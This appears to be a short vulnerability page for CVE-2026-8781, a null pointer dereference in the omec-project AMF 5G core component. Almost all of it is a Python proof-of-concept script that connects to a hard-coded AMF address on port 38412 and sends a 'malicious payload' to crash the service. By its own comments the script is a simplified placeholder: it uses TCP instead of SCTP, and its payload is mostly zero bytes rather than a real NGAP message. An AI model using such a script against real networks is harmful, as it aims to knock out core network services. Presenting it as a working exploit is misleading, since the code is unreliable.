CVE-2026-8781 omec-project amf空指针解引用漏洞

# PoC for CVE-2026-8781: Null Pointer Dereference in omec-project/amf # This script attempts to trigger the vulnerability in RANConfiguration. import socket # Target AMF IP and Port (SCTP usually, simplified here for demonstration) TARGET_IP = "192.168.1.100" TARGET_PORT = 38412 # Standard NGAP port over SCTP def trigger_vulnerability(): """ Sends a malformed NGAP message to trigger Null Pointer Dereference in the RANConfiguration function. """ try: # In a real scenario, this would be an SCTP association with a crafted NGAP PDU # This is a simplified representation of the concept. print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") # Create a socket (TCP used as placeholder for SCTP) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Malformed payload targeting RANConfiguration logic # The specific byte sequence would reverse-engineer the NGAP structure # expected by ngap/handler.go to hit the null pointer. payload = b"\x00\x1f" + b"\x00" * 50 print("[*] Sending malicious payload...") s.send(payload) print("[*] Payload sent. Check if AMF crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": trigger_vulnerability()